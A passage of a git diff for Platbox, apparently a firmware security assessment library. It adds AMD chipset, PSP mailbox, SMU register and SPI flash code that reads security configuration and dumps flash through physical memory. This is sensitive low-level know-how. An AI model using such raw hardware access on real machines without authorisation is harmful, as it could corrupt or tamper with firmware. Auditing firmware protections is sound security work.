@@ typedef void * PVOID; typedef unsigned short WORD; typedef unsigned short USHORT; + typedef USHORT UINT16; typedef unsigned long ULONG; typedef ULONG* PULONG; typedef unsigned int DWORD; diff --git a/PlatboxLib/src/amd/amd_acpi.cpp b/PlatboxLib/src/amd/amd_acpi.cpp new file mode 100644 index 0000000..732afe6 --- /dev/null +++ b/PlatboxLib/src/amd/amd_acpi.cpp @@ -0,0 +1,22 @@ +#include "amd_acpi.h" +#include "global.h" +#include "pci.h" +#include "Util.h" +#include "physmem.h" +#include "msr.h" +#include "_io.h" + +UINT16 get_amd_smi_trigger_port() { + char* ptr = (char *)map_physical_memory(AMD_ACPI_MMIO_BASE, 0x1000); + //print_memory(0, ptr + ACPI_OFFSET_PMIO, 0x100); + UINT16 smi_trigger = *(UINT16 *) (ptr + ACPI_PMIO_SMI_CMD); + unmap_physical_memory(ptr, 0x1000); + return smi_trigger; +} + +void get_amd_smi_trigger_port_iopm() { + enable_debug_mode(); + io_outb(IO_PM_INDEX, 0x24); + DWORD base = io_ind(IO_PM_DATA); + printf("BASE %08x\n", base); +} \ No newline at end of file diff --git a/PlatboxLib/src/amd/amd_chipset.cpp b/PlatboxLib/src/amd/amd_chipset.cpp index cb7b663..9dced0b 100644 --- a/PlatboxLib/src/amd/amd_chipset.cpp +++ b/PlatboxLib/src/amd/amd_chipset.cpp @@ -5,9 +5,12 @@ #include "Util.h" #include "physmem.h" #include "msr.h" +#include "amd_psp.h" LPC_ISA_Bridge g_lpc_isa_bridge_registers; DWORD64 g_MmioCfgBaseAddr; +bool _isNewAmdChipset; + void _read_lpc_isa_bridge() { @@ -276,12 +279,7 @@ void amd_print_root_complex_nb_control() { int HwInitWrLock = (nb_control >> 7) & 1; - printf("D0F0x64_x00 Northbridge Control.HwInitWrLock: %d - ", HwInitWrLock); - if (HwInitWrLock == 0) { - print_red("FAILED\n"); - } else { - print_green("OK\n"); - } + printf("D0F0x64_x00 Northbridge Control.HwInitWrLock: %d", HwInitWrLock); printf("\n"); } @@ -394,6 +392,22 @@ void amd_print_dram_range_base_limit() { } } +void amd_print_syscfg() { + + DWORD64 syscfg = 0; + do_read_msr(AMD_MSR_SYS_CFG, &syscfg); + + printf("MSR C001_0010 System Configuration (SYS_CFG)\n"); + printf(" => Value: %016llx\n", syscfg); + printf(" -> Tom2ForceMemTypeWB: %d\n", (syscfg >> 22) & 1); + printf(" -> MtrrTom2En: %d\n", (syscfg >> 21) & 1); + printf(" -> MtrrVarDramEn: %d\n", (syscfg >> 20) & 1); + printf(" -> MtrrFixDramModEn: %d\n", (syscfg >> 19) & 1); + printf(" -> MtrrFixDramEn: %d\n", (syscfg >> 18) & 1); + printf(" -> SysUcLockEn: %d\n", (syscfg >> 17) & 1); + printf("\n"); +} + void amd_print_mmio_base_limit_ranges() { @@ -530,9 +544,23 @@ void amd_print_memory_controller_configuration_lock() { void amd_retrieve_chipset_information() { _read_lpc_isa_bridge(); + + DWORD spi_addr = (*(DWORD *) &g_lpc_isa_bridge_registers.SPI_BASE); + if (spi_addr == 0xFFFFFFFF) { // If this happens it means the whole LPC ISA Bridge is mostly 0xFF + spi_addr = AMD_DEFAULT_NEW_SPI_ADDR; + _isNewAmdChipset = true; + } else { + spi_addr = spi_addr & 0xFFFFFFC0; + _isNewAmdChipset = false; + } + + load_spi_information(spi_addr, _isNewAmdChipset); + _read_mmio_cfg_base_addr(); - DWORD spi_addr = (*(DWORD *) &g_lpc_isa_bridge_registers.SPI_BASE) & 0xFFFFFFC0; - load_spi_information(spi_addr); +} + +bool isNewAmdChipset() { + return _isNewAmdChipset; } @@ -541,126 +569,122 @@ void amd_print_chipset_information() { amd_retrieve_chipset_information(); - IO_MEM_PORT_DECODE *pIOMemPortDecodeEnable = (IO_MEM_PORT_DECODE *) &g_lpc_isa_bridge_registers.IOMemPortDecodeEnableRegister; - printf("IO/Mem Port Decode\n"); - printf(" - SUPER_IO_CONFIGURATION_PORT_ENABLE: %d\n", pIOMemPortDecodeEnable->SUPER_IO_CONFIGURATION_PORT_ENABLE); - printf(" - ALTERNATE_SUPER_IO_CONFIGURATION_PORT_ENABLE: %d\n", pIOMemPortDecodeEnable->ALTERNATE_SUPER_IO_CONFIGURATION_PORT_ENABLE); - printf(" - WIDE_GENERIC_IO_PORT_ENABLE: %d\n", pIOMemPortDecodeEnable->WIDE_GENERIC_IO_PORT_ENABLE); - printf(" - ROM_RANGE_1_PORT_ENABLE: %d\n", pIOMemPortDecodeEnable->ROM_RANGE_1_PORT_ENABLE); - printf(" - ROM_RANGE_2_PORT_ENABLE: %d\n", pIOMemPortDecodeEnable->ROM_RANGE_2_PORT_ENABLE); - printf(" - MEMORY_RANGE_PORT_ENABLE: %d\n", pIOMemPortDecodeEnable->MEMORY_RANGE_PORT_ENABLE); - printf(" - RCT_IO_RANGE_PORT_ENABLE: %d\n", pIOMemPortDecodeEnable->RCT_IO_RANGE_PORT_ENABLE); - printf(" - SYNC_TIMEOUT_COUNTER_ENABLE: %d\n", pIOMemPortDecodeEnable->SYNC_TIMEOUT_COUNTER_ENABLE); - printf(" - SYNC_TIMEOUT: %d\n", pIOMemPortDecodeEnable->SYNC_TIMEOUT); - printf(" - IO_PORT_ENABLE_0: %d\n", pIOMemPortDecodeEnable->IO_PORT_ENABLE_0); - printf(" - IO_PORT_ENABLE_1: %d\n", pIOMemPortDecodeEnable->IO_PORT_ENABLE_1); - printf(" - IO_PORT_ENABLE_2: %d\n", pIOMemPortDecodeEnable->IO_PORT_ENABLE_2); - printf(" - IO_PORT_ENABLE_3: %d\n", pIOMemPortDecodeEnable->IO_PORT_ENABLE_3); - printf(" - MEM_PORT_ENABLE: %d\n", pIOMemPortDecodeEnable->MEM_PORT_ENABLE); - printf(" - IO_PORT_ENABLE_4: %d\n", pIOMemPortDecodeEnable->IO_PORT_ENABLE_4); - printf(" - IO_PORT_ENABLE_5: %d\n", pIOMemPortDecodeEnable->IO_PORT_ENABLE_5); - printf(" - IO_PORT_ENABLE_6: %d\n", pIOMemPortDecodeEnable->IO_PORT_ENABLE_6); - printf(" - WIDE_IO1_ENABLE: %d\n", pIOMemPortDecodeEnable->WIDE_IO1_ENABLE); - printf(" - WIDE_IO2_ENABLE: %d\n", pIOMemPortDecodeEnable->WIDE_IO2_ENABLE); - printf("\n"); - - printf("MemoryRange: %lx\n", g_lpc_isa_bridge_registers.MemoryRangeRegister); - printf("\n"); - - printf("\n=== SPI Range Protections ===\n"); - ROM_PROTECT *pRomProtect; - pRomProtect = (ROM_PROTECT *) & g_lpc_isa_bridge_registers.ROMProtect0; - printf("Rom Protect 0: %08x\n", *(DWORD *)pRomProtect); - printf(" - Base: %08x\n", pRomProtect->RomBase << 11); - printf(" - RangeUnit: %d\n", pRomProtect->RangeUnit); - printf(" - Range: %08x\n", pRomProtect->Range); - printf(" - Protected size: %08x\n", pRomProtect->RangeUnit ? pRomProtect->Range << 16 : pRomProtect->Range << 12); - printf(" - WriteProtected: %d\n", pRomProtect->WriteProtect); - printf(" - ReadProtected: %d\n", pRomProtect->ReadProtect); - printf(" - Total range [%08x, %08x]\n", pRomProtect->RomBase << 11, (pRomProtect->RomBase << 11) + (pRomProtect->RangeUnit ? (pRomProtect->Range + 1) << 16 : (pRomProtect->Range + 1) << 12) - 1); - printf(" - STATUS: "); - if (pRomProtect->RomBase == 0 && pRomProtect->Range == 0) { - print_red("Warning - Unused ROM Range Protection\n"); - } else { - print_green("OK - Range in use\n"); - } - pRomProtect = (ROM_PROTECT *) & g_lpc_isa_bridge_registers.ROMProtect1; - printf("Rom Protect 1: %08x\n", *(DWORD *)pRomProtect); - printf(" - Base: %08x\n", pRomProtect->RomBase << 11); - printf(" - RangeUnit: %d\n", pRomProtect->RangeUnit); - printf(" - Range: %08x\n", pRomProtect->Range); - printf(" - Protected size: %08x\n", pRomProtect->RangeUnit ? pRomProtect->Range << 16 : pRomProtect->Range << 12); - printf(" - WriteProtected: %d\n", pRomProtect->WriteProtect); - printf(" - ReadProtected: %d\n", pRomProtect->ReadProtect); - printf(" - Total range [%08x, %08x]\n", pRomProtect->RomBase << 11, (pRomProtect->RomBase << 11) + (pRomProtect->RangeUnit ? (pRomProtect->Range + 1) << 16 : (pRomProtect->Range + 1) << 12) - 1); - printf(" - STATUS: "); - if (pRomProtect->RomBase == 0 && pRomProtect->Range == 0) { - print_red("Warning - Unused ROM Range Protection\n"); - } else { - print_green("OK - Range in use\n"); - } - - pRomProtect = (ROM_PROTECT *) & g_lpc_isa_bridge_registers.ROMProtect2; - printf("Rom Protect 2: %08x\n", *(DWORD *)pRomProtect); - printf(" - Base: %08x\n", pRomProtect->RomBase << 11); - printf(" - RangeUnit: %d\n", pRomProtect->RangeUnit); - printf(" - Range: %08x\n", pRomProtect->Range); - printf(" - Protected size: %08x\n", pRomProtect->RangeUnit ? pRomProtect->Range << 16 : pRomProtect->Range << 12); - printf(" - WriteProtected: %d\n", pRomProtect->WriteProtect); - printf(" - ReadProtected: %d\n", pRomProtect->ReadProtect); - printf(" - Total range [%08x, %08x]\n", pRomProtect->RomBase << 11, (pRomProtect->RomBase << 11) + (pRomProtect->RangeUnit ? (pRomProtect->Range + 1) << 16 : (pRomProtect->Range + 1) << 12) - 1); - printf(" - STATUS: "); - if (pRomProtect->RomBase == 0 && pRomProtect->Range == 0) { - print_red("Warning - Unused ROM Range Protection\n"); - } else { - print_green("OK - Range in use\n"); - } - - pRomProtect = (ROM_PROTECT *) & g_lpc_isa_bridge_registers.ROMProtect3; - printf("Rom Protect 3: %08x\n", *(DWORD *)pRomProtect); - printf(" - Base: %08x\n", pRomProtect->RomBase << 11); - printf(" - RangeUnit: %d\n", pRomProtect->RangeUnit); - printf(" - Range: %08x\n", pRomProtect->Range); - printf(" - Protected size: %08x\n", pRomProtect->RangeUnit ? pRomProtect->Range << 16 : pRomProtect->Range << 12); - printf(" - WriteProtected: %d\n", pRomProtect->WriteProtect); - printf(" - ReadProtected: %d\n", pRomProtect->ReadProtect); - printf(" - Total range [%08x, %08x]\n", pRomProtect->RomBase << 11, (pRomProtect->RomBase << 11) + (pRomProtect->RangeUnit ? (pRomProtect->Range + 1) << 16 : (pRomProtect->Range + 1) << 12) - 1); - printf(" - STATUS: "); - if (pRomProtect->RomBase == 0 && pRomProtect->Range == 0) { - print_red("Warning - Unused ROM Range Protection\n"); - } else { - print_green("OK - Range in use\n"); + // IO_MEM_PORT_DECODE *pIOMemPortDecodeEnable = (IO_MEM_PORT_DECODE *) &g_lpc_isa_bridge_registers.IOMemPortDecodeEnableRegister; + // printf("IO/Mem Port Decode\n"); + // printf(" - SUPER_IO_CONFIGURATION_PORT_ENABLE: %d\n", pIOMemPortDecodeEnable->SUPER_IO_CONFIGURATION_PORT_ENABLE); + // printf(" - ALTERNATE_SUPER_IO_CONFIGURATION_PORT_ENABLE: %d\n", pIOMemPortDecodeEnable->ALTERNATE_SUPER_IO_CONFIGURATION_PORT_ENABLE); + // printf(" - WIDE_GENERIC_IO_PORT_ENABLE: %d\n", pIOMemPortDecodeEnable->WIDE_GENERIC_IO_PORT_ENABLE); + // printf(" - ROM_RANGE_1_PORT_ENABLE: %d\n", pIOMemPortDecodeEnable->ROM_RANGE_1_PORT_ENABLE); + // printf(" - ROM_RANGE_2_PORT_ENABLE: %d\n", pIOMemPortDecodeEnable->ROM_RANGE_2_PORT_ENABLE); + // printf(" - MEMORY_RANGE_PORT_ENABLE: %d\n", pIOMemPortDecodeEnable->MEMORY_RANGE_PORT_ENABLE); + // printf(" - RCT_IO_RANGE_PORT_ENABLE: %d\n", pIOMemPortDecodeEnable->RCT_IO_RANGE_PORT_ENABLE); + // printf(" - SYNC_TIMEOUT_COUNTER_ENABLE: %d\n", pIOMemPortDecodeEnable->SYNC_TIMEOUT_COUNTER_ENABLE); + // printf(" - SYNC_TIMEOUT: %d\n", pIOMemPortDecodeEnable->SYNC_TIMEOUT); + // printf(" - IO_PORT_ENABLE_0: %d\n", pIOMemPortDecodeEnable->IO_PORT_ENABLE_0); + // printf(" - IO_PORT_ENABLE_1: %d\n", pIOMemPortDecodeEnable->IO_PORT_ENABLE_1); + // printf(" - IO_PORT_ENABLE_2: %d\n", pIOMemPortDecodeEnable->IO_PORT_ENABLE_2); + // printf(" - IO_PORT_ENABLE_3: %d\n", pIOMemPortDecodeEnable->IO_PORT_ENABLE_3); + // printf(" - MEM_PORT_ENABLE: %d\n", pIOMemPortDecodeEnable->MEM_PORT_ENABLE); + // printf(" - IO_PORT_ENABLE_4: %d\n", pIOMemPortDecodeEnable->IO_PORT_ENABLE_4); + // printf(" - IO_PORT_ENABLE_5: %d\n", pIOMemPortDecodeEnable->IO_PORT_ENABLE_5); + // printf(" - IO_PORT_ENABLE_6: %d\n", pIOMemPortDecodeEnable->IO_PORT_ENABLE_6); + // printf(" - WIDE_IO1_ENABLE: %d\n", pIOMemPortDecodeEnable->WIDE_IO1_ENABLE); + // printf(" - WIDE_IO2_ENABLE: %d\n", pIOMemPortDecodeEnable->WIDE_IO2_ENABLE); + // printf("\n"); + + if (isNewAmdChipset() == false) { + + printf("MemoryRange: %lx\n", g_lpc_isa_bridge_registers.MemoryRangeRegister); + printf("\n"); + + printf("\n=== SPI Range Protections ===\n"); + ROM_PROTECT *pRomProtect; + pRomProtect = (ROM_PROTECT *) & g_lpc_isa_bridge_registers.ROMProtect0; + printf("Rom Protect 0: %08x\n", *(DWORD *)pRomProtect); + printf(" - Base: %08x\n", pRomProtect->RomBase << 11); + printf(" - RangeUnit: %d\n", pRomProtect->RangeUnit); + printf(" - Range: %08x\n", pRomProtect->Range); + printf(" - Protected size: %08x\n", pRomProtect->RangeUnit ? pRomProtect->Range << 16 : pRomProtect->Range << 12); + printf(" - WriteProtected: %d\n", pRomProtect->WriteProtect); + printf(" - ReadProtected: %d\n", pRomProtect->ReadProtect); + printf(" - Total range [%08x, %08x]\n", pRomProtect->RomBase << 11, (pRomProtect->RomBase << 11) + (pRomProtect->RangeUnit ? (pRomProtect->Range + 1) << 16 : (pRomProtect->Range + 1) << 12) - 1); + printf(" - STATUS: "); + if (pRomProtect->RomBase == 0 && pRomProtect->Range == 0) { + print_red("Warning - Unused ROM Range Protection\n"); + } else { + print_green("OK - Range in use\n"); + } + pRomProtect = (ROM_PROTECT *) & g_lpc_isa_bridge_registers.ROMProtect1; + printf("Rom Protect 1: %08x\n", *(DWORD *)pRomProtect); + printf(" - Base: %08x\n", pRomProtect->RomBase << 11); + printf(" - RangeUnit: %d\n", pRomProtect->RangeUnit); + printf(" - Range: %08x\n", pRomProtect->Range); + printf(" - Protected size: %08x\n", pRomProtect->RangeUnit ? pRomProtect->Range << 16 : pRomProtect->Range << 12); + printf(" - WriteProtected: %d\n", pRomProtect->WriteProtect); + printf(" - ReadProtected: %d\n", pRomProtect->ReadProtect); + printf(" - Total range [%08x, %08x]\n", pRomProtect->RomBase << 11, (pRomProtect->RomBase << 11) + (pRomProtect->RangeUnit ? (pRomProtect->Range + 1) << 16 : (pRomProtect->Range + 1) << 12) - 1); + printf(" - STATUS: "); + if (pRomProtect->RomBase == 0 && pRomProtect->Range == 0) { + print_red("Warning - Unused ROM Range Protection\n"); + } else { + print_green("OK - Range in use\n"); + } + + pRomProtect = (ROM_PROTECT *) & g_lpc_isa_bridge_registers.ROMProtect2; + printf("Rom Protect 2: %08x\n", *(DWORD *)pRomProtect); + printf(" - Base: %08x\n", pRomProtect->RomBase << 11); + printf(" - RangeUnit: %d\n", pRomProtect->RangeUnit); + printf(" - Range: %08x\n", pRomProtect->Range); + printf(" - Protected size: %08x\n", pRomProtect->RangeUnit ? pRomProtect->Range << 16 : pRomProtect->Range << 12); + printf(" - WriteProtected: %d\n", pRomProtect->WriteProtect); + printf(" - ReadProtected: %d\n", pRomProtect->ReadProtect); + printf(" - Total range [%08x, %08x]\n", pRomProtect->RomBase << 11, (pRomProtect->RomBase << 11) + (pRomProtect->RangeUnit ? (pRomProtect->Range + 1) << 16 : (pRomProtect->Range + 1) << 12) - 1); + printf(" - STATUS: "); + if (pRomProtect->RomBase == 0 && pRomProtect->Range == 0) { + print_red("Warning - Unused ROM Range Protection\n"); + } else { + print_green("OK - Range in use\n"); + } + + pRomProtect = (ROM_PROTECT *) & g_lpc_isa_bridge_registers.ROMProtect3; + printf("Rom Protect 3: %08x\n", *(DWORD *)pRomProtect); + printf(" - Base: %08x\n", pRomProtect->RomBase << 11); + printf(" - RangeUnit: %d\n", pRomProtect->RangeUnit); + printf(" - Range: %08x\n", pRomProtect->Range); + printf(" - Protected size: %08x\n", pRomProtect->RangeUnit ? pRomProtect->Range << 16 : pRomProtect->Range << 12); + printf(" - WriteProtected: %d\n", pRomProtect->WriteProtect); + printf(" - ReadProtected: %d\n", pRomProtect->ReadProtect); + printf(" - Total range [%08x, %08x]\n", pRomProtect->RomBase << 11, (pRomProtect->RomBase << 11) + (pRomProtect->RangeUnit ? (pRomProtect->Range + 1) << 16 : (pRomProtect->Range + 1) << 12) - 1); + printf(" - STATUS: "); + if (pRomProtect->RomBase == 0 && pRomProtect->Range == 0) { + print_red("Warning - Unused ROM Range Protection\n"); + } else { + print_green("OK - Range in use\n"); + } + + printf("\n"); + + MISC_CTL_BITS* pMiscCtlBits = (MISC_CTL_BITS *) &g_lpc_isa_bridge_registers.MiscCtlBits; + printf("SPI ROM SMM Write Enable: %d\n", pMiscCtlBits->SmmWriteRomEn); } - printf("\n"); - - MISC_CTL_BITS* pMiscCtlBits = (MISC_CTL_BITS *) &g_lpc_isa_bridge_registers.MiscCtlBits; - printf("SPI ROM SMM Write Enable: %d\n", pMiscCtlBits->SmmWriteRomEn); - printf("\n"); - print_spi_info(); + print_spi_ctnl_info(); + printf("\n"); + print_flash_info(); - LPC_ROM_ADDRESS lpc_rom_addr_range1 = {0}; - lpc_rom_addr_range1.StartAddr = (DWORD)g_lpc_isa_bridge_registers.LPC_ROM_Address_Range_1_StartAddress << 16; - lpc_rom_addr_range1.EndAddr = ((DWORD)g_lpc_isa_bridge_registers.LPC_ROM_Address_Range_1_EndAddress << 16) | 0xffff; - - LPC_ROM_ADDRESS lpc_rom_addr_range2 = {0}; - lpc_rom_addr_range2.StartAddr = (DWORD)g_lpc_isa_bridge_registers.LPC_ROM_Address_Range_2_StartAddress << 16; - lpc_rom_addr_range2.EndAddr = ((DWORD)g_lpc_isa_bridge_registers.LPC_ROM_Address_Range_2_EndAddress << 16) | 0xffff; - - printf("LPC ROM Address Range1 Start: %lx\n", lpc_rom_addr_range1.StartAddr); - printf("LPC ROM Address Range1 End: %lx\n", lpc_rom_addr_range1.EndAddr); - printf("LPC ROM Address Range2 Start: %lx\n", lpc_rom_addr_range2.StartAddr); - printf("LPC ROM Address Range2 End: %lx\n", lpc_rom_addr_range2.EndAddr); printf("\n"); amd_print_smm_base(); amd_print_smm_tseg_addr(); amd_print_smm_tseg_mask(); amd_print_hwcr_smmlock(); + + amd_print_syscfg(); //amd_print_smi_on_io_trap_configuration(); amd_print_io_trap_control_status(); + amd_print_apic_bar(); amd_print_mmio_ba(); @@ -671,29 +695,36 @@ void amd_print_chipset_information() { amd_print_msr_tom2(); amd_print_root_complex_tom(); amd_print_msr_tom(); - amd_print_dram_range_base_limit(); - amd_print_mmio_base_limit_ranges(); - amd_print_dram_system_address_range(); - amd_print_dram_controller_range(); - amd_print_dram_hole(); - amd_print_memory_controller_configuration_lock(); + //amd_print_dram_range_base_limit(); + //amd_print_mmio_base_limit_ranges(); + //amd_print_dram_system_address_range(); + //amd_print_dram_controller_range(); + //amd_print_dram_hole(); + //amd_print_memory_controller_configuration_lock(); + + print_psp_security_configuration(); } void amd_dump_spi_flash(const char *output_filename) { - _read_lpc_isa_bridge(); + amd_retrieve_chipset_information(); - LPC_ROM_ADDRESS lpc_rom_addr_range2 = {0}; - lpc_rom_addr_range2.StartAddr = (DWORD)g_lpc_isa_bridge_registers.LPC_ROM_Address_Range_2_StartAddress << 16; - lpc_rom_addr_range2.EndAddr = ((DWORD)g_lpc_isa_bridge_registers.LPC_ROM_Address_Range_2_EndAddress << 16) | 0xffff; + UINT64 flash_base = AMD_FLASH_BASE; + UINT32 flash_size = AMD_FLASH_SIZE; - size_t rom_size = lpc_rom_addr_range2.EndAddr - lpc_rom_addr_range2.StartAddr + 1; - char *rom_data = (char *) calloc(1, rom_size); - - debug_print(" -> About to read %08x bytes from %016llx pa\n", rom_size, lpc_rom_addr_range2.StartAddr); - read_physical_memory_into_file(lpc_rom_addr_range2.StartAddr, rom_size, output_filename ); - - free(rom_data); + void * mem = calloc(1, flash_size); + + for (int i = 0 ; i < flash_size ; i += PAGE_SIZE) { + void *p = map_physical_memory(flash_base + i, PAGE_SIZE); + //printf("%lx\n", flash_base+i); + memcpy((unsigned char *) mem + i, p,PAGE_SIZE); + unmap_physical_memory(p, PAGE_SIZE); + } + + FILE *fp = fopen(output_filename, "wb"); + fwrite(mem, flash_size, 1, fp); + fclose(fp); + free(mem); } diff --git a/PlatboxLib/src/amd/amd_psp.cpp b/PlatboxLib/src/amd/amd_psp.cpp new file mode 100644 index 0000000..1a48518 --- /dev/null +++ b/PlatboxLib/src/amd/amd_psp.cpp @@ -0,0 +1,206 @@ +#include "amd_psp.h" + + +#include "pci.h" +#include "Util.h" +#include "physmem.h" +#include "msr.h" +#include "UEFIVars.h" + + +UINT32 smu_read32(UINT32 reg) { + write_pci_dword(0,0,0, SMU_INDEX_ADDR >> 2, reg); + return read_pci_dword(0,0,0, SMU_DATA_ADDR >> 2); +} + +void smu_write32(UINT32 reg, UINT32 val) { + write_pci_dword(0,0,0, SMU_INDEX_ADDR >> 2, reg); + write_pci_dword(0,0,0, SMU_DATA_ADDR >> 2, val); +} + + + +UINT64 get_psp_mbox_addr() { + UINT64 amd_psp_addr = 0; + if (do_read_msr(MSR_AMD_PSP_ADDR, &amd_psp_addr) ) { + return amd_psp_addr + PSP_MAILBOX_COMMAND_OFFSET; + } + + return 0; +} + + +UINT32 read_psp_psb_status() { + return smu_read32(SMU_PSP_PUBLIC_BASE + PSP_MAILBOX_PSB_STATUS_OFFSET); +} + +UINT32 read_psp_mbox_config2() { + return smu_read32(SMU_PSP_PUBLIC_BASE + PSP_MAILBOX_CONFIG2_OFFSET); +} + +UINT32 read_psp_feature_reg() { + return smu_read32(SMU_PSP_PUBLIC_BASE + PSP_MAILBOX_FEATURE_REG); +} + +UINT32 read_psp_mbox_cmd_status() { + return smu_read32(SMU_PSP_PUBLIC_BASE + PSP_MAILBOX_COMMAND_OFFSET); +} + +void set_psp_mbox_cmd_status(UINT32 status) { + smu_write32(SMU_PSP_PUBLIC_BASE + PSP_MAILBOX_COMMAND_OFFSET, status); +} + +UINT64 read_psp_mbox_buffer_address() { + UINT64 addr = smu_read32(SMU_PSP_PUBLIC_BASE + PSP_MAILBOX_BUFFER_H_OFFSET) << 32; + return addr | smu_read32(SMU_PSP_PUBLIC_BASE + PSP_MAILBOX_BUFFER_L_OFFSET); +} + +void set_psp_mbox_buffer_address(UINT64 address) { + smu_write32(SMU_PSP_PUBLIC_BASE + PSP_MAILBOX_BUFFER_H_OFFSET, (UINT32) (address >> 32)); + smu_write32(SMU_PSP_PUBLIC_BASE + PSP_MAILBOX_BUFFER_L_OFFSET, (UINT32) address); +} + + +UINT16 get_psp_mbox_status() { + union pspv2_mbox_command mbox_cmd; + mbox_cmd.val = read_psp_mbox_cmd_status(); + return mbox_cmd._mbox_fields.status; +} + +void write_psp_mbox_cmd(UINT8 cmd) { + union pspv2_mbox_command mbox_cmd = {0}; + mbox_cmd._mbox_fields.command = cmd; + set_psp_mbox_cmd_status(mbox_cmd.val); +} + + + +void send_psp_msg(BYTE psp_cmd, UINT64 buffer_physaddr) +{ + + UINT32 mailbox_status = 0x0; + + mailbox_status = read_psp_mbox_cmd_status(); + + // Check if recovery flag is set + if ((mailbox_status & 0x40000000) != 0) + { + printf("Recovery flag detected\n"); + } + + // Check if reset required flag is set + if ((mailbox_status & 0x20000000) != 0) + { + printf("Reset required flag detected\n"); + } + + // Check if mailbox is ready + while (((mailbox_status & 0x80000000) == 0) || ((mailbox_status & 0x00FF0000) != 0)) + { + printf("Mailbox is not ready\n"); + mailbox_status = read_psp_mbox_cmd_status(); + } + + + set_psp_mbox_buffer_address(buffer_physaddr); + write_psp_mbox_cmd(psp_cmd); + + // Wait until done + while ((read_psp_mbox_cmd_status() & 0x00FF0000) != 0) + continue; + +} + + + +static const char *psb_test_status_to_string(UINT32 status) +{ + switch (status) { + case PSB_TEST_STATUS_PASS: + return "Psb Test Status PASS"; + case PSB_TEST_STATUS_FUSE_READ_ERR: + return "Error reading fuse info"; + case PSB_TEST_STATUS_BIOS_KEY_BAD_USAGE: + return "OEM BIOS signing key usage flag violation"; + case PSB_TEST_STATUS_BIOS_RTM_SIG_NOENT: + return "BIOS RTM signature entry not found"; + case PSB_TEST_STATUS_BIOS_RTM_COPY_ERR: + return "BIOS copy to DRAM failed"; + case PSB_TEST_STATUS_BIOS_RTM_BAD_SIG: + return "BIOS RTM signature verification failed"; + case PSB_TEST_STATUS_BIOS_KEY_BAD_SIG: + return "OEM BIOS signing key failed signature verification"; + case PSB_TEST_STATUS_PLATFORM_BAD_ID: + return "Platform vendor id and/or model id binding violation"; + case PSB_TEST_STATUS_BIOS_COPY_BIT_UNSET: + return "BIOS copy bit unset for reset image"; + case PSB_TEST_STATUS_BIOS_CA_BAD_SIG: + return "OEM BIOS signing CA key failed signature verification"; + case PSB_TEST_STATUS_BIOS_CA_BAD_USAGE: + return "OEM BIOS signing CA key usage flag violation"; + case PSB_TEST_STATUS_BIOS_KEY_BAD_REVISION: + return "OEM BIOS signing key revision violation"; + default: + return "Unknown failure"; + } +} + +void print_psp_security_configuration() { + UINT32 config = read_psp_psb_status(); + + printf("PSP Config at +10994h: %08x\n", config); + printf(" - Platform vendor ID: %02x\n", config & 0xFF); + printf(" - Platform model ID: %02x\n", (config >> 8) & 0xF); + printf(" - BIOS key revision ID: %04x\n", (config >> 12) & 0xFFFF); + printf(" - Root key select: %02x\n", (config >> 16) & 0xF); + printf(" - Platform Secure Boot Enable: %d\n", (config >> 24) & 1); + printf(" - Disable BIOS key anti-rollback: %d\n", (config >> 25) & 1); + printf(" - Disable AMD key usage: %d\n", (config >> 26) & 1); + printf(" - Disable secure debug unlock: %d\n", (config >> 27) & 1); + printf(" - Customer key unlock: %d\n", (config >> 28) & 1); + printf("\n"); + + + config = read_psp_mbox_config2(); + + printf("PSP Config at +10998h: %08x\n", config); + printf("- PSB status: %02x\n", config & 0xFF); + printf("- PSB fusing readiness: %d\n", (config >> 8) & 1); + printf("- HSTI state: %02x\n", config >> 28); + printf("\n"); + + + printf("HSTI State: %x\n", get_psp_hsti_state()); + config = read_psp_feature_reg(); + printf("PSP Feature REG: %x\n", config); + config = config >> PSP_CAPABILITY_PSP_SECURITY_OFFSET; + printf("PSP Feature REG (Security Capabilities): %x\n", config); + printf(" - PSP Security Fused Part: %x\n", (config >> PSP_SECURITY_FUSED_PART) & 1); + printf(" - PSP Security Debug Lock On: %x\n", (config >> PSP_SECURITY_DEBUG_LOCK_ON) & 1); + printf(" - PSP Security TSME STATUS: %x\n", (config >> PSP_SECURITY_TSME_STATUS) & 1); + printf(" - PSP Security Anti-Rollback Status: %x\n", (config >> PSP_SECURITY_ANTI_ROLLBACK_STATUS) & 1); + printf(" - PSP Security RPMC Production Enabled: %x\n", (config >> PSP_SECURITY_RPMC_PRODUCTION_ENABLED) & 1); + printf(" - PSP Security RPMC SPIROM Available: %x\n", (config >> PSP_SECURITY_RPMC_SPIROM_AVAILABLE) & 1); + printf(" - PSP Security HSP TPM Available: %x\n", (config >> PSP_SECURITY_HSP_TPM_AVAILABLE) & 1); + printf(" - PSP Security ROM ARMOR Enforced: %x\n", (config >> PSP_SECURITY_ROM_ARMOR_ENFORCED) & 1); + +} + +UINT32 get_psp_hsti_state() { + struct alloc_user_physmem aux_page = {0}; + bool res = alloc_user_mem(PAGE_SIZE, &aux_page); + + char *buffer = (char *) aux_page.va; + + memset(buffer, 0, 16); + *(UINT32 *)(buffer + 0x0) = 0xC; + *(UINT32 *)(buffer + 0x4) = 0x0; + *(UINT32 *)(buffer + 0x8) = 0x0; + + send_psp_msg(PSP_CMD_GET_HSTI_STATE, aux_page.pa); + + UINT32 hsti = *(UINT32 *)(buffer + 8); + unmap_physical_memory((void *)buffer, PAGE_SIZE); + + return hsti; +} \ No newline at end of file diff --git a/PlatboxLib/src/amd/amd_spi.cpp b/PlatboxLib/src/amd/amd_spi.cpp index 48eea46..0a41544 100644 --- a/PlatboxLib/src/amd/amd_spi.cpp +++ b/PlatboxLib/src/amd/amd_spi.cpp @@ -5,18 +5,32 @@ DWORD g_spi_addr; SPI g_spi_registers; -BOOL bSpiInformationInitialized; +bool bSpiInformationInitialized; +bool bNewChipset; DWORD g_flash_id; +UINT32 AMD_FLASH_SIZE; +UINT64 AMD_FLASH_BASE; BYTE SPI_READ_OP; BYTE SPI_WRITE_ENABLE_OP; BYTE SPI_WRITE_DISABLE_OP; BYTE SPI_WRITE_BYTE_OP; +BYTE SPI_WRITE32_OP; BYTE SPI_RDID_OP; BYTE SPI_SECTOR_ERASE_OP; // vendor specific - not shown in the SPI Controller region +BYTE SPI_READ_STATUS_REG1_OP; +int amd_spi_check_busy(volatile SPI* spi_base) { + amd_spi_clear_fifo_ptr(spi_base); + spi_base->CmdCode = SPI_READ_STATUS_REG1_OP; + spi_base->RxByteCnt = 1; + spi_base->TxByteCnt = 0; + amd_spi_execute_command(spi_base); + char status = spi_base->mode32.SPI_regx80; + return status & 1; +} void print_SPI_Cntrl0() { // AMD 15h Family @@ -28,8 +42,8 @@ void print_SPI_Cntrl0() { 